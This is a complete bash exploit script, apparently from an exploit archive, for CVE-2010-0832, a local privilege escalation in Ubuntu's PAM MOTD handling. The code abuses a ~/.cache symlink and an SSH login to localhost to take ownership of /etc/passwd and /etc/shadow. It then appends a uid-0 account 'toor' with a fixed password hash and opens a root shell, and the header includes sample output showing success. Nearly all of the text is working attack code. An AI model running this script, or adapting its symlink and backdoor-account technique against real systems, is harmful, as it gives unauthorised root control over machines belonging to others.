Ubuntu PAM MOTD Local Root Exploit

#!/bin/bash
#
# Exploit Title: Ubuntu PAM MOTD local root
# Date: July 9, 2010
# Author: Anonymous
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx)
# CVE: CVE-2010-0832
# Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i
# References: http://www.exploit-db.com/exploits/14273/ by Kristian Erik Hermansen
#
# Local root by adding temporary user toor:toor with id 0 to /etc/passwd & /etc/shadow.
# Does not prompt for login by creating temporary SSH key and authorized_keys entry.
#
#   user@ubuntu:~$ bash ubuntu-pam-motd-localroot.sh
#   [*] Ubuntu PAM MOTD local root
#   [*] Backuped /home/user/.ssh/authorized_keys
#   [*] SSH key set up
#   [*] Backuped /home/user/.cache
#   [*] spawn ssh
#   [+] owned: /etc/passwd
#   [*] spawn ssh
#   [+] owned: /etc/shadow
#   [*] Restored /home/user/.cache
#   [*] Restored /home/user/.ssh/authorized_keys
#   [*] SSH key removed
#   [+] Success! Use password toor to get root
#   Password:
#   root@ubuntu:/home/user# id
#   uid=0(root) gid=0(root) groupes=0(root)
#
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor